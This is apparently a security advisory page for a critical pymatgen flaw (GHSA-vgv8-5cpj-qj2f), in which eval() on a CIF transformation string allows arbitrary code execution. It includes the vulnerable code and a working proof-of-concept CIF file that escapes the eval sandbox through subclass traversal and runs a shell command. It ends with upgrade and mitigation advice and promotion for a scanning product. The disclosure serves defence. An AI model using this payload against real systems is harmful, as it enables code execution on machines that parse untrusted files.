GHSA-vgv8-5cpj-qj2f
CRITICALpymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
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Description
Summary
A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.
Details
The cause of the vulnerability is in pymatgen/symmetry/settings.py#L97C1-L111C108. The flawed code segment involves a regular expression operation followed by the use of eval().
Vulnerable code
basis_change = [
re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])
The use of eval, even with __builtins__ set to None, is still a security risk. The BuiltinImporter class can be recovered with subclass traversal.
PoC
The vulnerability can be exploited as follows:
Create a file vuln.cif with the following contents:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Then, parse the cif file with the following code:
from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()
Credits
This vulnerability was found and disclosed by William Khem-Marquez.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pymatgen | all versions | 2024.2.20 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Pymatgen 2024.1 - Remote Code Execution (RCE)
by Mohammed Idrees Banyamer · Apr 15, 2025
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pymatgen. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pymatgen to 2024.2.20 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vgv8-5cpj-qj2f is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-vgv8-5cpj-qj2f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-vgv8-5cpj-qj2f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vgv8-5cpj-qj2f in your dependencies?
O3 detects GHSA-vgv8-5cpj-qj2f across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.